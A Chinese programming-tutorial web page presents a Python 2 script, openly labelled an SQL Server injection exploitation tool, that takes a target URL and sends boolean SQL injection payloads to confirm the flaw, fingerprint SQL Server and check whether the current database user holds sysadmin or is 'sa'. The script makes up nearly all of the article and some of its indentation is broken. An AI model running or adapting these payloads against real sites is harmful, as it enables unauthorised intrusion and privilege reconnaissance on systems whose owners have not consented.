• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >python > Python编写检测数据库SA用户的方法

Python编写检测数据库SA用户的方法

作者:shichen2014 字体:[增加 减小] 来源:互联网

shichen2014 通过本文主要向大家介绍了数据库用户sa登录失败,python 数据库,python如何连接数据库,python怎么连接数据库,python连接数据库等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
</div> </div>

您可能想查找下面的文章:

  • Python编写检测数据库SA用户的方法
  • Python编写检测数据库SA用户的方法

相关文章

  • Python多线程编程(八):使用Event实现线程间通信
  • python爬虫入门教程之糗百图片爬虫代码分享
  • 在Python操作时间和日期之asctime()方法的使用
  • python简单程序读取串口信息的方法
  • Python标准库之循环器(itertools)介绍
  • Python实现给qq邮箱发送邮件的方法
  • python通过smpt发送邮件的方法
  • Windows系统下安装Python的SSH模块教程
  • windows系统下Python环境的搭建(Aptana Studio)
  • Python functools模块学习总结

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • 深入理解Python中变量赋值的问题
    • Python中Collection的使用小技巧
    • Python模块包中__init__.py文件功能分析
    • Python中的闭包总结
    • Python实现 多进程导入CSV数据到 MySQL
    • Python实现建立SSH连接的方法
    • python中OrderedDict的使用方法详解
    • 详解Python的Flask框架中的signals信号机制
    • Python中遇到的小问题及解决方法汇总
    • python学习之编写查询ip程序

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有